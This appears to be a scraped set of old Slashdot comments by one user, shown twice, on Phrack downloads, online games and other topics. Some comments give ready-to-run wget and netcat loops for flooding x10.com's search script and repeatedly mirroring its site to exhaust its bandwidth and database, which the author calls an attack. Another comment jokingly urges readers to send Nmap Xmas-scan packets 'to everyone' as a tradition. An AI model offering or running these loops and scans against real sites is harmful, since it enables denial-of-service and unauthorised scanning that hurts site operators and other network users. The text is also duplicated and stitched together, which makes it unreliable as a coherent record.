----------8<---------- aio@aio:~$ man X | head -n25 # show the first screen of X manual Reformatting X(7), please wait... X(7) X(7)
NAME X - a portable, network-transparent window system
SYNOPSIS The X Window System is a network transparent window system which runs on a wide range of computing and graphics machines. It should be relatively straightforward to build the X Consortium software distribution on most ANSI C and POSIX compliant systems. Commercial implementations are also available for a wide range of platforms.
The X Consortium requests that the following names be used when referring to this software:
X X Window System X Version 11 X Window System, Version 11 X11
X Window System is a trademark of X Consortium, Inc. aio@aio:~$ ----------8<----------
You should have heard. That's a long Internet tradition.
But man, it's slow like shit.
You have to be patient.
With the -Tinsane it seems faster, but it's still slow like hell.
It is faster, trust me.
How much time does this greeting need to finish?
Just be patient.
I have 2.4GHz and 2Mbps DSL and it's already running like 5 hours or something.
The genesis of this tradition reaches the times when there
were much less hosts on the Internet to send the greetings to.
When will this end?
It will all end much sooner than you think.
Maybe it's some bug in my Windows that it hangs or what?
I don't think so.
No, I just checked my bandwidth and it seems to be fully used.
So everything works correctly.
Does this program really need so much traffic?
Yes, it does. In fact, it needs even more.
But you don't have more, do you?
Because it's kinda hard to work in the net when it's running.
Not only for you, trust me.
Thanks.
You are welcome.
If you have any problems,
look at the/dev/random
from some system which supports this device
and you'll find all of your answers there
(however I can't tell you the offset, you have to
search yourself)
after you send the question to/dev/null.
For example:
echo "Am I naive?" >/dev/null; strings/dev/random | less
Just be patient with the searching, like with the Nmap
Xmas Greeting. Good luck.
Please ignore the garbage inserted to satisfy the lame filter:
cfcd208495d565ef66e7dff9f98764da
c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c
eccbc87e4b5ce2fe28308fd9f2a7baf3
a87ff679a2f3e71d9181a67b7542122c
e4da3b7fbbce2345d7772b0674a318d5
1679091c5a880faf6fb5e6087eb1b2dc
8f14e45fceea167a5a36dedd4bea2543
c9f0f895fb98ab9159f51fd0297e236d
45c48cce2e2d7fbdea1afc51c7c6ad26
d3d9446802a44259755d38e6d163e820
6512bd43d9caa6e02c990b0a82652dca
c20ad4d76fe97759aa27a0c99bff6710
c51ce410c124a10e0db5e4b97fc2af39
aab3238922bcc25a6f606eb525ffdc56
9bf31c7ff062936a96d3c8bd1f8f2ff3
c74d97b01eae257e44aa9d5bade97baf
70efdf2ec9b086079795c442636b55fb
6f4922f45568161a8cdf4ad2299f6d23
1f0e3dad99908345f7439f8ffabdffc4
98f13708210194c475687be6106a3b84
3c59dc048e8850243be8079a5c74d079
b6d767d2f8ed5d21a44b0e5886680cb9
37693cfc748049e45d87b8c7d8b9aacd
1ff1de774005f8da13f42943881c655f
8e296a067a37563370ded05f5a3bf3ec
4e732ced3463d06de0ca9a15b6153677
02e74f10e0327ad868d138f2b4fdd6f0
33e75ff09dd601bbe69f351039152189
6ea9ab1baa0efb9e19094440c317e21b
34173cb38f07f89ddbebc2ac9128303f
c16a5320fa475530d9583c34fd356ef5
6364d3f0f495b6ab9dcf8d3b5c6e0b01
182be0c5cdcd5072bb1864cdee4d3d6e
e369853df766fa44e1ed0ff613f563bd
1c383cd30b7c298ab50293adfecb7b18
19ca14e7ea6328a42e0eb13d585e4c22
a5bfc9e07964f8dddeb95fc584cd965d
a5771bce93e200c36f7cd9dfd0e5deaa
d67d8ab4f4c10bf22aa353e27879133c
d645920e395fedad7bbbed0eca3fe2e0
3416a75f4cea9109507cacd8e2f2aefc
a1d0c6e83f027327d8461063f4ac58a6
17e62166fc8586dfa4d1bc0e1742c08b
f7177163c833dff4b38fc8d2872f1ec6
6c8349cc7260ae62e3b1396831a8398f
d9d4f495e875a2e075a1a4a6e1b9770f
67c6a1e7ce56d3d6fa748ab6d9af3fd7
642e92efb79421734881b53e1e1b18b6
f457c545a9ded88f18ecee47145a72c0
c0c7c76d30bd3dcaefc96f40275bdc0a
2838023a778dfaecdc212708f721b788
9a1158154dfa42caddbd0694a4e9bdc8
d82c8d1619ad8176d665453cfb2e55f0
a684eceee76fc522773286a895bc8436
b53b3a3d6ab90ce0268229151c9bde11
9f61408e3afb633e50cdf1b20de6f466
72b32a1f754ba1c09b3695e0cb6cde7f
66f041e16a60928b05a7e228a89c3799
093f65e080a295f8076b1c5722a46aa2
(yes, I've tried posting less garbage,
but there's some minimal average line length of posts)
It sends Xmas tree packets
(with fin, urg, and push flags)
to everyone, which
is a traditional Internet Xmas Greeting.
You have to
download Nmap first.
You may want to add a
-Tinsane option
(which means: set the
Tin
variable to "sane").
Have fun.
But hurry up, because it's a tradition to send those greetings
before the New Year.
Your code is better indeed, but still not perfect.
What we should do here is to eliminate this high level wget
thing for loosers, and
write our own http query using netcat instead,
like all the cool people do:
for i in `seq -w 60 1`; do
echo -e "GET/archives/phrack$i.tar.gz HTTP/1.0\n" | nc -v www.phrack.org 80 | perl -ne '$p&&print;/\S/||$p++' > phrack$i.tar.gz; done
Now, that's more like it
(except this lame perl filter,
which is my biggest shame here, it should be sed of course).
I leave you the pleasure of tranlating it to a big-ass sed loop.
Still, unless I was on a pretty darn low traffic webserver, I'd argue for sorting first...
Just use
perl '-ne$_{$_}++||print'
instead of uniq
and you don't need no stinkin sorting ever again.
(What memory usage?)
Nostalgia...
on
New Phrack
·
· Score: 5, Interesting
After looking at
Phrack #1
from 1985 I decided that I just have to run
for i in `seq -w 1 60 | tac`; do wget http://www.phrack.org/archives/phrack$i.tar.gz; done
and spend this day on reading Phrack issues backwards.
It's going to be a hellova nostalgic New Year
for me...:_)
Cool domain
on
New Phrack
·
· Score: 5, Interesting
An age system will benefit those that don't have a lot of time to game, but want to play the game, those that have time to be a little better than the lite gamers, but its still competitive, and you can discourage addictive play.
The only problem is that nobody wants to discourage addictive play
in the first place. This is where the profits are.
That's why I'm sure Sony (or any other company, for that matter)
won't ever introduce rules like that.
They are doing the opposite, i.e.
only the addictive play allows you to do anything in those games.
That's why I think that the only hope for a really enjoyable
online RPG is in community projects, like
WorldForge.
Take a look at the Newbie's Guide To WorldForge to have some idea what this project is about,
if you don't already,
join one of the mailing lists
(World@
or Rules@
or General@)
and post your ideas there,
because I think they are very good indeed,
however they won't ever be used by Sony,
while they can be used by WorldForge.
You can also join the #lounge channel at irc.worldforge.org.
Good luck.
I usually don't post "MOD PARENT UP" comments,
but this time I think that moderators really screwed up.
I think that five out of six
Darci Wood's
comments
in "Kevin Free" discussion with Score:1 and
the sixth with Score:3 is simply an outrage, no more, no less.
These are the most interesting comments
in this discussion and
I've only read them by accident,
after clicking "replies beneath your current threshold" link,
while as I was browsing at +4 threshold.
There are almost 500 comments in this story so far,
with over 300 Score:1 comments.
That way,
if the most interesting comments are at Score:1,
together with 300 other pieces of junk,
no one will read them.
But I guess I'm saying the obvious.
You may mod me down, I don't care, but you're making a big mistake
by not modding Darci Wood's comments up in this discussion.
Few years ago I bought Ultima Online
as a good-bye gift to my Microsoft Windows 95.
What can I say, it's highly addictive.
You can play few weeks for many hours a day
and it's still not enough.
Fortunately at that time I had already decided
to go Debian-only, and I never figured out how to
run Ultima Online on GNU/Linux
(which was possible, as far as I know,
using Wine or the unofficial port).
I really hope
WorldForge
won't be as good as I'm afraid it's going to be...
If everything had to be practical, this'd be one hell of a dull world. I mean, what practical use does a performance of The Nutcracker Suite (for instance) have?
What practical use does a nutcracker suite have?!
Well, duh, cracking nuts maybe?
(Sorry, I couldn't resist!
I am a great fan of Tchaikovsky's music, by the way.
I'm listening to the Waltz from Swan Lake right now.)
Am I the only person that thinks this is a massively stupid waste of time?
Yes, it's waste of time. Unlike participating
in Slashdot discussions about topics, in which
you have no interest at all, and posting questions like the above.
Now, that's what I call a productive use of your time.
Now, will you excuse me, while I'll be
stupidly wasting my time playing Go.
Fortunately, I haven't wasted all of my time today,
since I answered to your comment.
I don't know enough about HTML/perl/etc., but there must be a way to set up a script to submit queries to the "Search this site" box that most websites have. Vary the query so it cannot be cached. Doesn't really matter if the search terms are meaningful./dev/random even. Just make thier Win2K/IIS server farm chug away on thousands of searches for hours.
That's a very interesting idea.
Sticking with the X10 example, their search URL is
http://www.x10.com/cgi-bin/search/search_index.cgi?search=QUERY
(without the space) so writing in your shell command line something like this, would do your trick:
mercy_level=10;
x10=http://www.x10.com;
referer=$x10/products/products.htm;
search=$x10/cgi-bin/search/search_index.cgi?search ;
agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)';
for query in `cat/usr/share/dict/words`; do
echo "*** Quering for $query:";
wget --user-agent="$agent"
--cache=off --referer=$referer $search=$query --output-document=/dev/null;
echo "*** Waiting ${mercy_level}s...";
sleep $mercy_level; done
(again, it's a one big-ass line)
It searches X10.com for every word in the
dictionary located at/usr/share/dict/words,
ignoring the results
(or should I say, storing them in/dev/null?).
It looks like MS Internet Explorer 5.5 under Windows 2000.
It would be easy to write without wget, to just connect
with their server, send the HTTP query and drop the connection after
the first line of answer header (or maybe using HEAD instead of GET?)
to save the bandwidth,
but the bandwidth is not an issue here
(however it's still interesting:
netcat
(a TCP/IP Swiss Army Knife)
would work great for
making raw TCP connections from the shell,
but if you prefer Swiss Army Chainsaw instead,
then of course Perl
(with Socket or IO::Socket or LWP or LWP::Simple) is the tool
-- again, There's More Than One Way To Do It).
This attack, unlike the one with
downloading statical content, would be directed to their
database CPU/RAM/IO resources.
Actually, why use wget (or anything else for that matter)?
Here's a cooler idea:
Run nc -lp 1234 and point your browser to
http://localhost:1234/ to see how do your real HTTP queries look like.
E.g. for my Mozilla it's:
Now, we can just change Host to www.x10.com
and "GET/" to "GET/cgi-bin/search/search_index.cgi?search=QUERY"
(and maybe add Referer header) and we have our HTTP query string,
which after echo $http_query_string | nc www.x10.com 80
we have a response, looking exactly like a real browser
(with JavaScript and downloading pictures turned off).
Of course, don't do that, unless you think it is OK...
I take no responsibility for anything anyone could do with anything at all.
Don't forget the little-known bash command, watch. Executes a certain command once every two seconds, by default. D'ya suppose that would be useful for this purpose?
The watch
command is more useful when you need to monitor output
of some other command which itself takes little time to execute but
the output is changing
(like
watch who or watch ps or watch ls -sh)
but when all you need is to constantly run something
over and over again,
then while true; do command; done
may be better than watch command
but of course
TMTOWTDI.
theres gotta be a way to call for the download of a single.jpg x1000 without it actually caching on my machine. though a jpg would only be 50K I am looking at it along the lines 50Megs but if I get some program that could do that on 10 machines at work have them eat up 500megs of bandwidth a hour would equal what 12gigs a day.
You need two programs to do that, bash and wget.
You can write one (long) line to do just that:
shell$
for i in `seq 1 1000`; do
wget
--user-agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)'
--cache=off
--referer=http://www.x10.com/products/
http://www.x10.com/images9/abkc_sidecam.jpg; rm -v abkc_sidecam.jpg; done
[enter]
or you could even run something million times more
effective, like this:
shell$
for i in `seq 1 1000`; do
wget
--user-agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)'
--cache=off
--mirror
-e robots=off
http://www.x10.com/products/;
rm -rfv *x10.com; done
[enter]
Technically it's trivial,
you can use Bash/wget, you can use Perl/LWP, etc.
But the question is: wouldn't it be more evil than
the popups themselves?
Wiem. ;)
"I wonder what kind of environmental hazard is posed by junking thousands of pay phones?"
I don't know about other things in pay phones, but I've heard that quite a few kinds of birds can easily choke while eating quarters.
This guy has violated both DMCA and CIPA at the same time! Now, that's the spirit!
See X(7) and http://X.org/ for more info.
----------8<----------
aio@aio:~$ man X | head -n25 # show the first screen of X manual
Reformatting X(7), please wait...
X(7) X(7)
NAME
X - a portable, network-transparent window system
SYNOPSIS
The X Window System is a network transparent window system
which runs on a wide range of computing and graphics
machines. It should be relatively straightforward to
build the X Consortium software distribution on most ANSI
C and POSIX compliant systems. Commercial implementations
are also available for a wide range of platforms.
The X Consortium requests that the following names be used
when referring to this software:
X
X Window System
X Version 11
X Window System, Version 11
X11
X Window System is a trademark of X Consortium, Inc.
aio@aio:~$
----------8<----------
You should have heard. That's a long Internet tradition.
You have to be patient.
It is faster, trust me.
Just be patient.
The genesis of this tradition reaches the times when there were much less hosts on the Internet to send the greetings to.
It will all end much sooner than you think.
I don't think so.
So everything works correctly.
Yes, it does. In fact, it needs even more. But you don't have more, do you?
Not only for you, trust me.
You are welcome.
If you have any problems, look at the /dev/random
from some system which supports this device
and you'll find all of your answers there
(however I can't tell you the offset, you have to
search yourself)
after you send the question to /dev/null.
For example:
echo "Am I naive?" > /dev/null; strings /dev/random | less
Just be patient with the searching, like with the Nmap Xmas Greeting. Good luck.
Please ignore the garbage inserted to satisfy the lame filter: cfcd208495d565ef66e7dff9f98764da c4ca4238a0b923820dcc509a6f75849b c81e728d9d4c2f636f067f89cc14862c eccbc87e4b5ce2fe28308fd9f2a7baf3 a87ff679a2f3e71d9181a67b7542122c e4da3b7fbbce2345d7772b0674a318d5 1679091c5a880faf6fb5e6087eb1b2dc 8f14e45fceea167a5a36dedd4bea2543 c9f0f895fb98ab9159f51fd0297e236d 45c48cce2e2d7fbdea1afc51c7c6ad26 d3d9446802a44259755d38e6d163e820 6512bd43d9caa6e02c990b0a82652dca c20ad4d76fe97759aa27a0c99bff6710 c51ce410c124a10e0db5e4b97fc2af39 aab3238922bcc25a6f606eb525ffdc56 9bf31c7ff062936a96d3c8bd1f8f2ff3 c74d97b01eae257e44aa9d5bade97baf 70efdf2ec9b086079795c442636b55fb 6f4922f45568161a8cdf4ad2299f6d23 1f0e3dad99908345f7439f8ffabdffc4 98f13708210194c475687be6106a3b84 3c59dc048e8850243be8079a5c74d079 b6d767d2f8ed5d21a44b0e5886680cb9 37693cfc748049e45d87b8c7d8b9aacd 1ff1de774005f8da13f42943881c655f 8e296a067a37563370ded05f5a3bf3ec 4e732ced3463d06de0ca9a15b6153677 02e74f10e0327ad868d138f2b4fdd6f0 33e75ff09dd601bbe69f351039152189 6ea9ab1baa0efb9e19094440c317e21b 34173cb38f07f89ddbebc2ac9128303f c16a5320fa475530d9583c34fd356ef5 6364d3f0f495b6ab9dcf8d3b5c6e0b01 182be0c5cdcd5072bb1864cdee4d3d6e e369853df766fa44e1ed0ff613f563bd 1c383cd30b7c298ab50293adfecb7b18 19ca14e7ea6328a42e0eb13d585e4c22 a5bfc9e07964f8dddeb95fc584cd965d a5771bce93e200c36f7cd9dfd0e5deaa d67d8ab4f4c10bf22aa353e27879133c d645920e395fedad7bbbed0eca3fe2e0 3416a75f4cea9109507cacd8e2f2aefc a1d0c6e83f027327d8461063f4ac58a6 17e62166fc8586dfa4d1bc0e1742c08b f7177163c833dff4b38fc8d2872f1ec6 6c8349cc7260ae62e3b1396831a8398f d9d4f495e875a2e075a1a4a6e1b9770f 67c6a1e7ce56d3d6fa748ab6d9af3fd7 642e92efb79421734881b53e1e1b18b6 f457c545a9ded88f18ecee47145a72c0 c0c7c76d30bd3dcaefc96f40275bdc0a 2838023a778dfaecdc212708f721b788 9a1158154dfa42caddbd0694a4e9bdc8 d82c8d1619ad8176d665453cfb2e55f0 a684eceee76fc522773286a895bc8436 b53b3a3d6ab90ce0268229151c9bde11 9f61408e3afb633e50cdf1b20de6f466 72b32a1f754ba1c09b3695e0cb6cde7f 66f041e16a60928b05a7e228a89c3799 093f65e080a295f8076b1c5722a46aa2 (yes, I've tried posting less garbage, but there's some minimal average line length of posts)
And don't forget:
Welcome to the porn biz... :)
(Using Perl and Image::Magick is the Next Level of being a Porn Wizard.)
Bihl Gates would really pissed off!
(Sorry, I couldn't refuse...)
It sends Xmas tree packets (with fin, urg, and push flags) to everyone, which is a traditional Internet Xmas Greeting. You have to download Nmap first. You may want to add a -Tinsane option (which means: set the Tin variable to "sane"). Have fun. But hurry up, because it's a tradition to send those greetings before the New Year.
I think you may have gone too far with your science fiction computer gamer imagination, Mr. wideBlueSkies (if that is your real name). Oh, wait...
apt-get install curl && man curl actually, as I don't use it right now.
But thanks anyway.
Cool. Can you control user-agent and referer headers, http authentication and cookies?
Your code is better indeed, but still not perfect. What we should do here is to eliminate this high level wget thing for loosers, and write our own http query using netcat instead, like all the cool people do:
for i in `seq -w 60 1`; do echo -e "GET /archives/phrack$i.tar.gz HTTP/1.0\n" | nc -v www.phrack.org 80 | perl -ne '$p&&print;/\S/||$p++' > phrack$i.tar.gz; done
Now, that's more like it (except this lame perl filter, which is my biggest shame here, it should be sed of course). I leave you the pleasure of tranlating it to a big-ass sed loop.
What trouble?
Just use perl '-ne$_{$_}++||print' instead of uniq and you don't need no stinkin sorting ever again. (What memory usage?)
After looking at Phrack #1 from 1985 I decided that I just have to run :_)
for i in `seq -w 1 60 | tac`; do wget http://www.phrack.org/archives/phrack$i.tar.gz; done
and spend this day on reading Phrack issues backwards. It's going to be a hellova nostalgic New Year for me...
The gzipped tarball of Phrack #60 is available at http://www.phrack-dont-give-a-shit-about-dmca.org/ archives/phrack60.tar.gz
The only problem is that nobody wants to discourage addictive play in the first place. This is where the profits are.
That's why I'm sure Sony (or any other company, for that matter) won't ever introduce rules like that. They are doing the opposite, i.e. only the addictive play allows you to do anything in those games. That's why I think that the only hope for a really enjoyable online RPG is in community projects, like WorldForge.
Take a look at the Newbie's Guide To WorldForge to have some idea what this project is about, if you don't already, join one of the mailing lists (World@ or Rules@ or General@) and post your ideas there, because I think they are very good indeed, however they won't ever be used by Sony, while they can be used by WorldForge. You can also join the #lounge channel at irc.worldforge.org. Good luck.
I usually don't post "MOD PARENT UP" comments, but this time I think that moderators really screwed up. I think that five out of six Darci Wood's comments in "Kevin Free" discussion with Score:1 and the sixth with Score:3 is simply an outrage, no more, no less.
These are the most interesting comments in this discussion and I've only read them by accident, after clicking "replies beneath your current threshold" link, while as I was browsing at +4 threshold. There are almost 500 comments in this story so far, with over 300 Score:1 comments. That way, if the most interesting comments are at Score:1, together with 300 other pieces of junk, no one will read them. But I guess I'm saying the obvious.
You may mod me down, I don't care, but you're making a big mistake by not modding Darci Wood's comments up in this discussion.
What You Really Get From an Online Game?
You get a life...
Few years ago I bought Ultima Online as a good-bye gift to my Microsoft Windows 95. What can I say, it's highly addictive. You can play few weeks for many hours a day and it's still not enough. Fortunately at that time I had already decided to go Debian-only, and I never figured out how to run Ultima Online on GNU/Linux (which was possible, as far as I know, using Wine or the unofficial port). I really hope WorldForge won't be as good as I'm afraid it's going to be...
What practical use does a nutcracker suite have?! Well, duh, cracking nuts maybe?
(Sorry, I couldn't resist! I am a great fan of Tchaikovsky's music, by the way. I'm listening to the Waltz from Swan Lake right now.)
Yes, it's waste of time. Unlike participating in Slashdot discussions about topics, in which you have no interest at all, and posting questions like the above. Now, that's what I call a productive use of your time. Now, will you excuse me, while I'll be stupidly wasting my time playing Go. Fortunately, I haven't wasted all of my time today, since I answered to your comment.
OK, I've said it. Good bye, my precious karma.
Have a nice Xmas.
That's a very interesting idea.
Sticking with the X10 example, their search URL is http://www.x10.com/cgi-bin/search /search_index.cgi?search=QUERY
(without the space) so writing in your shell command line something like this, would do your trick:
mercy_level=10; x10=http://www.x10.com; referer=$x10/products/products.htm; search=$x10/cgi-bin/search/search_index.cgi?search ;
agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)';
for query in `cat /usr/share/dict/words`; do
echo "*** Quering for $query:";
wget --user-agent="$agent"
--cache=off --referer=$referer $search=$query --output-document=/dev/null;
echo "*** Waiting ${mercy_level}s...";
sleep $mercy_level; done
(again, it's a one big-ass line)
It searches X10.com for every word in the dictionary located at /usr/share/dict/words,
ignoring the results
(or should I say, storing them in /dev/null?).
It looks like MS Internet Explorer 5.5 under Windows 2000.
It would be easy to write without wget, to just connect with their server, send the HTTP query and drop the connection after the first line of answer header (or maybe using HEAD instead of GET?) to save the bandwidth, but the bandwidth is not an issue here (however it's still interesting: netcat (a TCP/IP Swiss Army Knife) would work great for making raw TCP connections from the shell, but if you prefer Swiss Army Chainsaw instead, then of course Perl (with Socket or IO::Socket or LWP or LWP::Simple) is the tool -- again, There's More Than One Way To Do It).
This attack, unlike the one with downloading statical content, would be directed to their database CPU/RAM/IO resources.
Actually, why use wget (or anything else for that matter)? Here's a cooler idea: Run nc -lp 1234 and point your browser to http://localhost:1234/ to see how do your real HTTP queries look like. E.g. for my Mozilla it's:
GET / HTTP/1.1x t/html;q=0.9,text/plain;q=0.8,video/x-mng,image/pn g,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1
Host: localhost:1234
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0)
Gecko/20020623 Debian/1.0.0-0.woody.1
Accept: text/xml,application/xml,application/xhtml+xml,te
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Connection: keep-alive
Now, we can just change Host to www.x10.com and "GET /" to "GET /cgi-bin/search/search_index.cgi?search=QUERY"
(and maybe add Referer header) and we have our HTTP query string,
which after echo $http_query_string | nc www.x10.com 80
we have a response, looking exactly like a real browser
(with JavaScript and downloading pictures turned off).
Of course, don't do that, unless you think it is OK... I take no responsibility for anything anyone could do with anything at all.
The watch command is more useful when you need to monitor output of some other command which itself takes little time to execute but the output is changing (like watch who or watch ps or watch ls -sh) but when all you need is to constantly run something over and over again, then while true; do command; done may be better than watch command but of course TMTOWTDI.
You need two programs to do that, bash and wget. You can write one (long) line to do just that:
shell$ for i in `seq 1 1000`; do wget --user-agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)' --cache=off --referer=http://www.x10.com/products/ http://www.x10.com/images9/abkc_sidecam.jpg; rm -v abkc_sidecam.jpg; done [enter]
or you could even run something million times more effective, like this:
shell$ for i in `seq 1 1000`; do wget --user-agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)' --cache=off --mirror -e robots=off http://www.x10.com/products/; rm -rfv *x10.com; done [enter]
Technically it's trivial, you can use Bash/wget, you can use Perl/LWP, etc. But the question is: wouldn't it be more evil than the popups themselves?